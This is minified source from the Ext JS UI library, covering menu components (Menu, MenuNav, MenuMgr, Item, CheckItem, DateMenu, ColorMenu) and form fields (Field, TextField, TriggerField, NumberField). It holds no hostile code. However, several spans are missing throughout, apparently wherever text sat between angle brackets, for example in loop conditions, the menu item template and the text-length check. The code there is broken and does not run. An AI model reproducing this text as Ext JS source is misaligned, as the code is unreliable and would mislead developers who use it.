c={id:this.getId(),cls:"x-menu "+((this.floating)?"x-menu-floating x-layer ":"")+(this.cls||"")+(this.plain?" x-menu-plain":"")+(this.showSeparator?"":" x-menu-nosep"),style:this.style,cn:[{tag:"a",cls:"x-menu-focus",href:"#",onclick:"return false;",tabIndex:"-1"},{tag:"ul",cls:"x-menu-list"}]};if(this.floating){this.el=new Ext.Layer({shadow:this.shadow,dh:c,constrain:false,parentEl:b,zindex:this.zIndex})}else{this.el=b.createChild(c)}Ext.menu.Menu.superclass.onRender.call(this,b,a);if(!this.keyNav){this.keyNav=new Ext.menu.MenuNav(this)}this.focusEl=this.el.child("a.x-menu-focus");this.ul=this.el.child("ul.x-menu-list");this.mon(this.ul,{scope:this,click:this.onClick,mouseover:this.onMouseOver,mouseout:this.onMouseOut});if(this.enableScrolling){this.mon(this.el,{scope:this,delegate:".x-menu-scroller",click:this.onScroll,mouseover:this.deactivateActive})}},findTargetItem:function(b){var a=b.getTarget(".x-menu-list-item",this.ul,true);if(a&&a.menuItemId){return this.items.get(a.menuItemId)}},onClick:function(b){var a=this.findTargetItem(b);if(a){if(a.isFormField){this.setActiveItem(a)}else{if(a instanceof Ext.menu.BaseItem){if(a.menu&&this.ignoreParentClicks){a.expandMenu();b.preventDefault()}else{if(a.onClick){a.onClick(b);this.fireEvent("click",this,a,b)}}}}}},setActiveItem:function(a,b){if(a!=this.activeItem){this.deactivateActive();if((this.activeItem=a).isFormField){a.focus()}else{a.activate(b)}}else{if(b){a.expandMenu()}}},deactivateActive:function(){var b=this.activeItem;if(b){if(b.isFormField){if(b.collapse){b.collapse()}}else{b.deactivate()}delete this.activeItem}},tryActivate:function(g,e){var b=this.items;for(var c=g,a=b.length;c>=0&&c=a.scrollHeight){this.onScrollerOut(null,b)}},onScrollerIn:function(d,b){var a=this.ul.dom,c=Ext.fly(b).is(".x-menu-scroller-top");if(c?a.scrollTop>0:a.scrollTop+this.activeMaxc){b=c;a=i-h}else{if(bb&&b>0){this.activeMax=b-this.scrollerHeight*2-this.el.getFrameWidth("tb")-Ext.num(this.el.shadowOffset,0);this.ul.setHeight(this.activeMax);this.createScrollers();this.el.select(".x-menu-scroller").setDisplayed("")}else{this.ul.setHeight(d);this.el.select(".x-menu-scroller").setDisplayed("none")}this.ul.dom.scrollTop=0;return a},createScrollers:function(){if(!this.scroller){this.scroller={pos:0,top:this.el.insertFirst({tag:"div",cls:"x-menu-scroller x-menu-scroller-top",html:" "}),bottom:this.el.createChild({tag:"div",cls:"x-menu-scroller x-menu-scroller-bottom",html:" "})};this.scroller.top.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.topRepeater=new Ext.util.ClickRepeater(this.scroller.top,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.top],false)}});this.scroller.bottom.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.bottomRepeater=new Ext.util.ClickRepeater(this.scroller.bottom,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.bottom],false)}})}},onLayout:function(){if(this.isVisible()){if(this.enableScrolling){this.constrainScroll(this.el.getTop())}if(this.floating){this.el.sync()}}},focus:function(){if(!this.hidden){this.doFocus.defer(50,this)}},doFocus:function(){if(!this.hidden){this.focusEl.focus()}},hide:function(a){if(!this.isDestroyed){this.deepHide=a;Ext.menu.Menu.superclass.hide.call(this);delete this.deepHide}},onHide:function(){Ext.menu.Menu.superclass.onHide.call(this);this.deactivateActive();if(this.el&&this.floating){this.el.hide()}var a=this.parentMenu;if(this.deepHide===true&&a){if(a.floating){a.hide(true)}else{a.deactivateActive()}}},lookupComponent:function(a){if(Ext.isString(a)){a=(a=="separator"||a=="-")?new Ext.menu.Separator():new Ext.menu.TextItem(a);this.applyDefaults(a)}else{if(Ext.isObject(a)){a=this.getMenuItem(a)}else{if(a.tagName||a.el){a=new Ext.BoxComponent({el:a})}}}return a},applyDefaults:function(b){if(!Ext.isString(b)){b=Ext.menu.Menu.superclass.applyDefaults.call(this,b);var a=this.internalDefaults;if(a){if(b.events){Ext.applyIf(b.initialConfig,a);Ext.apply(b,a)}else{Ext.applyIf(b,a)}}}return b},getMenuItem:function(a){if(!a.isXType){if(!a.xtype&&Ext.isBoolean(a.checked)){return new Ext.menu.CheckItem(a)}return Ext.create(a,this.defaultType)}return a},addSeparator:function(){return this.add(new Ext.menu.Separator())},addElement:function(a){return this.add(new Ext.menu.BaseItem({el:a}))},addItem:function(a){return this.add(a)},addMenuItem:function(a){return this.add(this.getMenuItem(a))},addText:function(a){return this.add(new Ext.menu.TextItem(a))},onDestroy:function(){Ext.EventManager.removeResizeListener(this.hide,this);var a=this.parentMenu;if(a&&a.activeChild==this){delete a.activeChild}delete this.parentMenu;Ext.menu.Menu.superclass.onDestroy.call(this);Ext.menu.MenuMgr.unregister(this);if(this.keyNav){this.keyNav.disable()}var b=this.scroller;if(b){Ext.destroy(b.topRepeater,b.bottomRepeater,b.top,b.bottom)}Ext.destroy(this.el,this.focusEl,this.ul)}});Ext.reg("menu",Ext.menu.Menu);Ext.menu.MenuNav=Ext.extend(Ext.KeyNav,function(){function a(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)-1,-1)){c.tryActivate(c.items.length-1,-1)}}function b(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)+1,1)){c.tryActivate(0,1)}}return{constructor:function(c){Ext.menu.MenuNav.superclass.constructor.call(this,c.el);this.scope=this.menu=c},doRelay:function(g,d){var c=g.getKey();if(this.menu.activeItem&&this.menu.activeItem.isFormField&&c!=g.TAB){return false}if(!this.menu.activeItem&&g.isNavKeyPress()&&c!=g.SPACE&&c!=g.RETURN){this.menu.tryActivate(0,1);return false}return d.call(this.scope||this,g,this.menu)},tab:function(d,c){d.stopEvent();if(d.shiftKey){a(d,c)}else{b(d,c)}},up:a,down:b,right:function(d,c){if(c.activeItem){c.activeItem.expandMenu(true)}},left:function(d,c){c.hide();if(c.parentMenu&&c.parentMenu.activeItem){c.parentMenu.activeItem.activate()}},enter:function(d,c){if(c.activeItem){d.stopPropagation();c.activeItem.onClick(d);c.fireEvent("click",this,c.activeItem);return true}}}}());Ext.menu.MenuMgr=function(){var g,d,c={},a=false,l=new Date();function n(){g={};d=new Ext.util.MixedCollection();Ext.getDoc().addKeyListener(27,function(){if(d.length>0){i()}})}function i(){if(d&&d.length>0){var o=d.clone();o.each(function(p){p.hide()});return true}return false}function e(o){d.remove(o);if(d.length<1){Ext.getDoc().un("mousedown",m);a=false}}function k(o){var p=d.last();l=new Date();d.add(o);if(!a){Ext.getDoc().on("mousedown",m);a=true}if(o.parentMenu){o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle("z-index"),10)+3);o.parentMenu.activeChild=o}else{if(p&&!p.isDestroyed&&p.isVisible()){o.getEl().setZIndex(parseInt(p.getEl().getStyle("z-index"),10)+3)}}}function b(o){if(o.activeChild){o.activeChild.hide()}if(o.autoHideTimer){clearTimeout(o.autoHideTimer);delete o.autoHideTimer}}function h(o){var p=o.parentMenu;if(!p&&!o.allowOtherMenus){i()}else{if(p&&p.activeChild){p.activeChild.hide()}}}function m(o){if(l.getElapsed()>50&&d.length>0&&!o.getTarget(".x-menu")){i()}}return{hideAll:function(){return i()},register:function(o){if(!g){n()}g[o.id]=o;o.on({beforehide:b,hide:e,beforeshow:h,show:k})},get:function(o){if(typeof o=="string"){if(!g){return null}return g[o]}else{if(o.events){return o}else{if(typeof o.length=="number"){return new Ext.menu.Menu({items:o})}else{return Ext.create(o,"menu")}}}},unregister:function(o){delete g[o.id];o.un("beforehide",b);o.un("hide",e);o.un("beforeshow",h);o.un("show",k)},registerCheckable:function(o){var p=o.group;if(p){if(!c[p]){c[p]=[]}c[p].push(o)}},unregisterCheckable:function(o){var p=o.group;if(p){c[p].remove(o)}},onCheckChange:function(q,r){if(q.group&&r){var t=c[q.group],p=0,o=t.length,s;for(;p',' target="{hrefTarget}"',"",">",'{altText}','{text}',"")}var c=this.getTemplateArgs();this.el=b?this.itemTpl.insertBefore(b,c,true):this.itemTpl.append(d,c,true);this.iconEl=this.el.child("img.x-menu-item-icon");this.textEl=this.el.child(".x-menu-item-text");if(!this.href){this.mon(this.el,"click",Ext.emptyFn,null,{preventDefault:true})}Ext.menu.Item.superclass.onRender.call(this,d,b)},getTemplateArgs:function(){return{id:this.id,cls:this.itemCls+(this.menu?" x-menu-item-arrow":"")+(this.cls?" "+this.cls:""),href:this.href||"#",hrefTarget:this.hrefTarget,icon:this.icon||Ext.BLANK_IMAGE_URL,iconCls:this.iconCls||"",text:this.itemText||this.text||" ",altText:this.altText||""}},setText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text);this.parentMenu.layout.doAutoSize()}},setIconClass:function(a){var b=this.iconCls;this.iconCls=a;if(this.rendered){this.iconEl.replaceClass(b,this.iconCls)}},beforeDestroy:function(){if(this.menu){delete this.menu.ownerCt;this.menu.destroy()}Ext.menu.Item.superclass.beforeDestroy.call(this)},handleClick:function(a){if(!this.href){a.stopEvent()}Ext.menu.Item.superclass.handleClick.apply(this,arguments)},activate:function(a){if(Ext.menu.Item.superclass.activate.apply(this,arguments)){this.focus();if(a){this.expandMenu()}}return true},shouldDeactivate:function(a){if(Ext.menu.Item.superclass.shouldDeactivate.call(this,a)){if(this.menu&&this.menu.isVisible()){return !this.menu.getEl().getRegion().contains(a.getPoint())}return true}return false},deactivate:function(){Ext.menu.Item.superclass.deactivate.apply(this,arguments);this.hideMenu()},expandMenu:function(a){if(!this.disabled&&this.menu){clearTimeout(this.hideTimer);delete this.hideTimer;if(!this.menu.isVisible()&&!this.showTimer){this.showTimer=this.deferExpand.defer(this.showDelay,this,[a])}else{if(this.menu.isVisible()&&a){this.menu.tryActivate(0,1)}}}},deferExpand:function(a){delete this.showTimer;this.menu.show(this.container,this.parentMenu.subMenuAlign||"tl-tr?",this.parentMenu);if(a){this.menu.tryActivate(0,1)}},hideMenu:function(){clearTimeout(this.showTimer);delete this.showTimer;if(!this.hideTimer&&this.menu&&this.menu.isVisible()){this.hideTimer=this.deferHide.defer(this.hideDelay,this)}},deferHide:function(){delete this.hideTimer;if(this.menu.over){this.parentMenu.setActiveItem(this,false)}else{this.menu.hide()}}});Ext.reg("menuitem",Ext.menu.Item);Ext.menu.CheckItem=Ext.extend(Ext.menu.Item,{itemCls:"x-menu-item x-menu-check-item",groupClass:"x-menu-group-item",checked:false,ctype:"Ext.menu.CheckItem",initComponent:function(){Ext.menu.CheckItem.superclass.initComponent.call(this);this.addEvents("beforecheckchange","checkchange");if(this.checkHandler){this.on("checkchange",this.checkHandler,this.scope)}Ext.menu.MenuMgr.registerCheckable(this)},onRender:function(a){Ext.menu.CheckItem.superclass.onRender.apply(this,arguments);if(this.group){this.el.addClass(this.groupClass)}if(this.checked){this.checked=false;this.setChecked(true,true)}},destroy:function(){Ext.menu.MenuMgr.unregisterCheckable(this);Ext.menu.CheckItem.superclass.destroy.apply(this,arguments)},setChecked:function(b,a){var c=a===true;if(this.checked!=b&&(c||this.fireEvent("beforecheckchange",this,b)!==false)){Ext.menu.MenuMgr.onCheckChange(this,b);if(this.container){this.container[b?"addClass":"removeClass"]("x-menu-item-checked")}this.checked=b;if(!c){this.fireEvent("checkchange",this,b)}}},handleClick:function(a){if(!this.disabled&&!(this.checked&&this.group)){this.setChecked(!this.checked)}Ext.menu.CheckItem.superclass.handleClick.apply(this,arguments)}});Ext.reg("menucheckitem",Ext.menu.CheckItem);Ext.menu.DateMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,pickerId:null,cls:"x-date-menu",initComponent:function(){this.on("beforeshow",this.onBeforeShow,this);if(this.strict=(Ext.isIE7&&Ext.isStrict)){this.on("show",this.onShow,this,{single:true,delay:20})}Ext.apply(this,{plain:true,showSeparator:false,items:this.picker=new Ext.DatePicker(Ext.applyIf({internalRender:this.strict||!Ext.isIE,ctCls:"x-menu-date-item",id:this.pickerId},this.initialConfig))});this.picker.purgeListeners();Ext.menu.DateMenu.superclass.initComponent.call(this);this.relayEvents(this.picker,["select"]);this.on("show",this.picker.focus,this.picker);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}},onBeforeShow:function(){if(this.picker){this.picker.hideMonthPicker(true)}},onShow:function(){var a=this.picker.getEl();a.setWidth(a.getWidth())}});Ext.reg("datemenu",Ext.menu.DateMenu);Ext.menu.ColorMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,cls:"x-color-menu",paletteId:null,initComponent:function(){Ext.apply(this,{plain:true,showSeparator:false,items:this.palette=new Ext.ColorPalette(Ext.applyIf({id:this.paletteId},this.initialConfig))});this.palette.purgeListeners();Ext.menu.ColorMenu.superclass.initComponent.call(this);this.relayEvents(this.palette,["select"]);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}}});Ext.reg("colormenu",Ext.menu.ColorMenu);Ext.form.Field=Ext.extend(Ext.BoxComponent,{invalidClass:"x-form-invalid",invalidText:"The value in this field is invalid",focusClass:"x-form-focus",validationEvent:"keyup",validateOnBlur:true,validationDelay:250,defaultAutoCreate:{tag:"input",type:"text",size:"20",autocomplete:"off"},fieldClass:"x-form-field",msgTarget:"qtip",msgFx:"normal",readOnly:false,disabled:false,submitValue:true,isFormField:true,msgDisplay:"",hasFocus:false,initComponent:function(){Ext.form.Field.superclass.initComponent.call(this);this.addEvents("focus","blur","specialkey","change","invalid","valid")},getName:function(){return this.rendered&&this.el.dom.name?this.el.dom.name:this.name||this.id||""},onRender:function(c,a){if(!this.el){var b=this.getAutoCreate();if(!b.name){b.name=this.name||this.id}if(this.inputType){b.type=this.inputType}this.autoEl=b}Ext.form.Field.superclass.onRender.call(this,c,a);if(this.submitValue===false){this.el.dom.removeAttribute("name")}var d=this.el.dom.type;if(d){if(d=="password"){d="text"}this.el.addClass("x-form-"+d)}if(this.readOnly){this.setReadOnly(true)}if(this.tabIndex!==undefined){this.el.dom.setAttribute("tabIndex",this.tabIndex)}this.el.addClass([this.fieldClass,this.cls])},getItemCt:function(){return this.itemCt},initValue:function(){if(this.value!==undefined){this.setValue(this.value)}else{if(!Ext.isEmpty(this.el.dom.value)&&this.el.dom.value!=this.emptyText){this.setValue(this.el.dom.value)}}this.originalValue=this.getValue()},isDirty:function(){if(this.disabled||!this.rendered){return false}return String(this.getValue())!==String(this.originalValue)},setReadOnly:function(a){if(this.rendered){this.el.dom.readOnly=a}this.readOnly=a},afterRender:function(){Ext.form.Field.superclass.afterRender.call(this);this.initEvents();this.initValue()},fireKey:function(a){if(a.isSpecialKey()){this.fireEvent("specialkey",this,a)}},reset:function(){this.setValue(this.originalValue);this.clearInvalid()},initEvents:function(){this.mon(this.el,Ext.EventManager.getKeyEvent(),this.fireKey,this);this.mon(this.el,"focus",this.onFocus,this);this.mon(this.el,"blur",this.onBlur,this,this.inEditor?{buffer:10}:null)},preFocus:Ext.emptyFn,onFocus:function(){this.preFocus();if(this.focusClass){this.el.addClass(this.focusClass)}if(!this.hasFocus){this.hasFocus=true;this.startValue=this.getValue();this.fireEvent("focus",this)}},beforeBlur:Ext.emptyFn,onBlur:function(){this.beforeBlur();if(this.focusClass){this.el.removeClass(this.focusClass)}this.hasFocus=false;if(this.validationEvent!==false&&(this.validateOnBlur||this.validationEvent=="blur")){this.validate()}var a=this.getValue();if(String(a)!==String(this.startValue)){this.fireEvent("change",this,a,this.startValue)}this.fireEvent("blur",this);this.postBlur()},postBlur:Ext.emptyFn,isValid:function(a){if(this.disabled){return true}var c=this.preventMark;this.preventMark=a===true;var b=this.validateValue(this.processValue(this.getRawValue()));this.preventMark=c;return b},validate:function(){if(this.disabled||this.validateValue(this.processValue(this.getRawValue()))){this.clearInvalid();return true}return false},processValue:function(a){return a},validateValue:function(b){var a=this.getErrors(b)[0];if(a==undefined){return true}else{this.markInvalid(a);return false}},getErrors:function(){return[]},getActiveError:function(){return this.activeError||""},markInvalid:function(c){if(this.rendered&&!this.preventMark){c=c||this.invalidText;var a=this.getMessageHandler();if(a){a.mark(this,c)}else{if(this.msgTarget){this.el.addClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML=c;b.style.display=this.msgDisplay}}}}this.setActiveError(c)},clearInvalid:function(){if(this.rendered&&!this.preventMark){this.el.removeClass(this.invalidClass);var a=this.getMessageHandler();if(a){a.clear(this)}else{if(this.msgTarget){this.el.removeClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML="";b.style.display="none"}}}}this.unsetActiveError()},setActiveError:function(b,a){this.activeError=b;if(a!==true){this.fireEvent("invalid",this,b)}},unsetActiveError:function(a){delete this.activeError;if(a!==true){this.fireEvent("valid",this)}},getMessageHandler:function(){return Ext.form.MessageTargets[this.msgTarget]},getErrorCt:function(){return this.el.findParent(".x-form-element",5,true)||this.el.findParent(".x-form-field-wrap",5,true)},alignErrorEl:function(){this.errorEl.setWidth(this.getErrorCt().getWidth(true)-20)},alignErrorIcon:function(){this.errorIcon.alignTo(this.el,"tl-tr",[2,0])},getRawValue:function(){var a=this.rendered?this.el.getValue():Ext.value(this.value,"");if(a===this.emptyText){a=""}return a},getValue:function(){if(!this.rendered){return this.value}var a=this.el.getValue();if(a===this.emptyText||a===undefined){a=""}return a},setRawValue:function(a){return this.rendered?(this.el.dom.value=(Ext.isEmpty(a)?"":a)):""},setValue:function(a){this.value=a;if(this.rendered){this.el.dom.value=(Ext.isEmpty(a)?"":a);this.validate()}return this},append:function(a){this.setValue([this.getValue(),a].join(""))}});Ext.form.MessageTargets={qtip:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.qtip=b;a.el.dom.qclass="x-form-invalid-tip";if(Ext.QuickTips){Ext.QuickTips.enable()}},clear:function(a){a.el.removeClass(a.invalidClass);a.el.dom.qtip=""}},title:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.title=b},clear:function(a){a.el.dom.title=""}},under:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorEl){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorEl=a.createChild({cls:"x-form-invalid-msg"});b.on("resize",b.alignErrorEl,b);b.on("destroy",function(){Ext.destroy(this.errorEl)},b)}b.alignErrorEl();b.errorEl.update(c);Ext.form.Field.msgFx[b.msgFx].show(b.errorEl,b)},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorEl){Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl,a)}else{a.el.dom.title=""}}},side:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorIcon){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorIcon=a.createChild({cls:"x-form-invalid-icon"});if(b.ownerCt){b.ownerCt.on("afterlayout",b.alignErrorIcon,b);b.ownerCt.on("expand",b.alignErrorIcon,b)}b.on("resize",b.alignErrorIcon,b);b.on("destroy",function(){Ext.destroy(this.errorIcon)},b)}b.alignErrorIcon();b.errorIcon.dom.qtip=c;b.errorIcon.dom.qclass="x-form-invalid-tip";b.errorIcon.show()},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorIcon){a.errorIcon.dom.qtip="";a.errorIcon.hide()}else{a.el.dom.title=""}}}};Ext.form.Field.msgFx={normal:{show:function(a,b){a.setDisplayed("block")},hide:function(a,b){a.setDisplayed(false).update("")}},slide:{show:function(a,b){a.slideIn("t",{stopFx:true})},hide:function(a,b){a.slideOut("t",{stopFx:true,useDisplay:true})}},slideRight:{show:function(a,b){a.fixDisplay();a.alignTo(b.el,"tl-tr");a.slideIn("l",{stopFx:true})},hide:function(a,b){a.slideOut("l",{stopFx:true,useDisplay:true})}}};Ext.reg("field",Ext.form.Field);Ext.form.TextField=Ext.extend(Ext.form.Field,{grow:false,growMin:30,growMax:800,vtype:null,maskRe:null,disableKeyFilter:false,allowBlank:true,minLength:0,maxLength:Number.MAX_VALUE,minLengthText:"The minimum length for this field is {0}",maxLengthText:"The maximum length for this field is {0}",selectOnFocus:false,blankText:"This field is required",validator:null,regex:null,regexText:"",emptyText:null,emptyClass:"x-form-empty-field",initComponent:function(){Ext.form.TextField.superclass.initComponent.call(this);this.addEvents("autosize","keydown","keyup","keypress")},initEvents:function(){Ext.form.TextField.superclass.initEvents.call(this);if(this.validationEvent=="keyup"){this.validationTask=new Ext.util.DelayedTask(this.validate,this);this.mon(this.el,"keyup",this.filterValidation,this)}else{if(this.validationEvent!==false&&this.validationEvent!="blur"){this.mon(this.el,this.validationEvent,this.validate,this,{buffer:this.validationDelay})}}if(this.selectOnFocus||this.emptyText){this.mon(this.el,"mousedown",this.onMouseDown,this);if(this.emptyText){this.applyEmptyText()}}if(this.maskRe||(this.vtype&&this.disableKeyFilter!==true&&(this.maskRe=Ext.form.VTypes[this.vtype+"Mask"]))){this.mon(this.el,"keypress",this.filterKeys,this)}if(this.grow){this.mon(this.el,"keyup",this.onKeyUpBuffered,this,{buffer:50});this.mon(this.el,"click",this.autoSize,this)}if(this.enableKeyEvents){this.mon(this.el,{scope:this,keyup:this.onKeyUp,keydown:this.onKeyDown,keypress:this.onKeyPress})}},onMouseDown:function(a){if(!this.hasFocus){this.mon(this.el,"mouseup",Ext.emptyFn,this,{single:true,preventDefault:true})}},processValue:function(a){if(this.stripCharsRe){var b=a.replace(this.stripCharsRe,"");if(b!==a){this.setRawValue(b);return b}}return a},filterValidation:function(a){if(!a.isNavKeyPress()){this.validationTask.delay(this.validationDelay)}},onDisable:function(){Ext.form.TextField.superclass.onDisable.call(this);if(Ext.isIE){this.el.dom.unselectable="on"}},onEnable:function(){Ext.form.TextField.superclass.onEnable.call(this);if(Ext.isIE){this.el.dom.unselectable=""}},onKeyUpBuffered:function(a){if(this.doAutoSize(a)){this.autoSize()}},doAutoSize:function(a){return !a.isNavKeyPress()},onKeyUp:function(a){this.fireEvent("keyup",this,a)},onKeyDown:function(a){this.fireEvent("keydown",this,a)},onKeyPress:function(a){this.fireEvent("keypress",this,a)},reset:function(){Ext.form.TextField.superclass.reset.call(this);this.applyEmptyText()},applyEmptyText:function(){if(this.rendered&&this.emptyText&&this.getRawValue().length<1&&!this.hasFocus){this.setRawValue(this.emptyText);this.el.addClass(this.emptyClass)}},preFocus:function(){var a=this.el,b;if(this.emptyText){if(a.dom.value==this.emptyText){this.setRawValue("");b=true}a.removeClass(this.emptyClass)}if(this.selectOnFocus||b){a.dom.select()}},postBlur:function(){this.applyEmptyText()},filterKeys:function(b){if(b.ctrlKey){return}var a=b.getKey();if(Ext.isGecko&&(b.isNavKeyPress()||a==b.BACKSPACE||(a==b.DELETE&&b.button==-1))){return}var c=String.fromCharCode(b.getCharCode());if(!Ext.isGecko&&b.isSpecialKey()&&!c){return}if(!this.maskRe.test(c)){b.stopEvent()}},setValue:function(a){if(this.emptyText&&this.el&&!Ext.isEmpty(a)){this.el.removeClass(this.emptyClass)}Ext.form.TextField.superclass.setValue.apply(this,arguments);this.applyEmptyText();this.autoSize();return this},getErrors:function(a){var d=Ext.form.TextField.superclass.getErrors.apply(this,arguments);a=Ext.isDefined(a)?a:this.processValue(this.getRawValue());if(Ext.isFunction(this.validator)){var c=this.validator(a);if(c!==true){d.push(c)}}if(a.length<1||a===this.emptyText){if(this.allowBlank){return d}else{d.push(this.blankText)}}if(!this.allowBlank&&(a.length<1||a===this.emptyText)){d.push(this.blankText)}if(a.lengththis.maxLength){d.push(String.format(this.maxLengthText,this.maxLength))}if(this.vtype){var b=Ext.form.VTypes;if(!b[this.vtype](a,this)){d.push(this.vtypeText||b[this.vtype+"Text"])}}if(this.regex&&!this.regex.test(a)){d.push(this.regexText)}return d},selectText:function(h,a){var c=this.getRawValue();var e=false;if(c.length>0){h=h===undefined?0:h;a=a===undefined?c.length:a;var g=this.el.dom;if(g.setSelectionRange){g.setSelectionRange(h,a)}else{if(g.createTextRange){var b=g.createTextRange();b.moveStart("character",h);b.moveEnd("character",a-c.length);b.select()}}e=Ext.isGecko||Ext.isOpera}else{e=true}if(e){this.focus()}},autoSize:function(){if(!this.grow||!this.rendered){return}if(!this.metrics){this.metrics=Ext.util.TextMetrics.createInstance(this.el)}var c=this.el;var b=c.dom.value;var e=document.createElement("div");e.appendChild(document.createTextNode(b));b=e.innerHTML;Ext.removeNode(e);e=null;b+=" ";var a=Math.min(this.growMax,Math.max(this.metrics.getWidth(b)+10,this.growMin));this.el.setWidth(a);this.fireEvent("autosize",this,a)},onDestroy:function(){if(this.validationTask){this.validationTask.cancel();this.validationTask=null}Ext.form.TextField.superclass.onDestroy.call(this)}});Ext.reg("textfield",Ext.form.TextField);Ext.form.TriggerField=Ext.extend(Ext.form.TextField,{defaultAutoCreate:{tag:"input",type:"text",size:"16",autocomplete:"off"},hideTrigger:false,editable:true,readOnly:false,wrapFocusClass:"x-trigger-wrap-focus",autoSize:Ext.emptyFn,monitorTab:true,deferHeight:true,mimicing:false,actionMode:"wrap",defaultTriggerWidth:17,onResize:function(a,c){Ext.form.TriggerField.superclass.onResize.call(this,a,c);var b=this.getTriggerWidth();if(Ext.isNumber(a)){this.el.setWidth(a-b)}this.wrap.setWidth(this.el.getWidth()+b)},getTriggerWidth:function(){var a=this.trigger.getWidth();if(!this.hideTrigger&&!this.readOnly&&a===0){a=this.defaultTriggerWidth}return a},alignErrorIcon:function(){if(this.wrap){this.errorIcon.alignTo(this.wrap,"tl-tr",[2,0])}},onRender:function(b,a){this.doc=Ext.isIE?Ext.getBody():Ext.getDoc();Ext.form.TriggerField.superclass.onRender.call(this,b,a);this.wrap=this.el.wrap({cls:"x-form-field-wrap x-form-field-trigger-wrap"});this.trigger=this.wrap.createChild(this.triggerConfig||{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.triggerClass});this.initTrigger();if(!this.width){this.wrap.setWidth(this.el.getWidth()+this.trigger.getWidth())}this.resizeEl=this.positionEl=this.wrap},getWidth:function(){return(this.el.getWidth()+this.trigger.getWidth())},updateEditState:function(){if(this.rendered){if(this.readOnly){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this);this.trigger.setDisplayed(false)}else{if(!this.editable){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mon(this.el,"click",this.onTriggerClick,this)}else{this.el.dom.readOnly=false;this.el.removeClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this)}this.trigger.setDisplayed(!this.hideTrigger)}this.onResize(this.width||this.wrap.getWidth())}},setHideTrigger:function(a){if(a!=this.hideTrigger){this.hideTrigger=a;this.updateEditState()}},setEditable:function(a){if(a!=this.editable){this.editable=a;this.updateEditState()}},setReadOnly:function(a){if(a!=this.readOnly){this.readOnly=a;this.updateEditState()}},afterRender:function(){Ext.form.TriggerField.superclass.afterRender.call(this);this.updateEditState()},initTrigger:function(){this.mon(this.trigger,"click",this.onTriggerClick,this,{preventDefault:true});this.trigger.addClassOnOver("x-form-trigger-over");this.trigger.addClassOnClick("x-form-trigger-click")},onDestroy:function(){Ext.destroy(this.trigger,this.wrap);if(this.mimicing){this.doc.un("mousedown",this.mimicBlur,this)}delete this.doc;Ext.form.TriggerField.superclass.onDestroy.call(this)},onFocus:function(){Ext.form.TriggerField.superclass.onFocus.call(this);if(!this.mimicing){this.wrap.addClass(this.wrapFocusClass);this.mimicing=true;this.doc.on("mousedown",this.mimicBlur,this,{delay:10});if(this.monitorTab){this.on("specialkey",this.checkTab,this)}}},checkTab:function(a,b){if(b.getKey()==b.TAB){this.triggerBlur()}},onBlur:Ext.emptyFn,mimicBlur:function(a){if(!this.isDestroyed&&!this.wrap.contains(a.target)&&this.validateBlur(a)){this.triggerBlur()}},triggerBlur:function(){this.mimicing=false;this.doc.un("mousedown",this.mimicBlur,this);if(this.monitorTab&&this.el){this.un("specialkey",this.checkTab,this)}Ext.form.TriggerField.superclass.onBlur.call(this);if(this.wrap){this.wrap.removeClass(this.wrapFocusClass)}},beforeBlur:Ext.emptyFn,validateBlur:function(a){return true},onTriggerClick:Ext.emptyFn});Ext.form.TwinTriggerField=Ext.extend(Ext.form.TriggerField,{initComponent:function(){Ext.form.TwinTriggerField.superclass.initComponent.call(this);this.triggerConfig={tag:"span",cls:"x-form-twin-triggers",cn:[{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger1Class},{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger2Class}]}},getTrigger:function(a){return this.triggers[a]},afterRender:function(){Ext.form.TwinTriggerField.superclass.afterRender.call(this);var c=this.triggers,b=0,a=c.length;for(;b")}}d.innerHTML=a;b=Math.min(this.growMax,Math.max(d.offsetHeight,this.growMin));if(b!=this.lastHeight){this.lastHeight=b;this.el.setHeight(b);this.fireEvent("autosize",this,b)}}});Ext.reg("textarea",Ext.form.TextArea);Ext.form.NumberField=Ext.extend(Ext.form.TextField,{fieldClass:"x-form-field x-form-num-field",allowDecimals:true,decimalSeparator:".",decimalPrecision:2,allowNegative:true,minValue:Number.NEGATIVE_INFINITY,maxValue:Number.MAX_VALUE,minText:"The minimum value for this field is {0}",maxText:"The maximum value for this field is {0}",nanText:"{0} is not a valid number",baseChars:"0123456789",autoStripChars:false,initEvents:function(){var a=this.baseChars+"";if(this.allowDecimals){a+=this.decimalSeparator}if(this.allowNegative){a+="-"}a=Ext.escapeRe(a);this.maskRe=new RegExp("["+a+"]");if(this.autoStripChars){this.stripCharsRe=new RegExp("[^"+a+"]","gi")}Ext.form.NumberField.superclass.initEvents.call(this)},getErrors:function(b){var 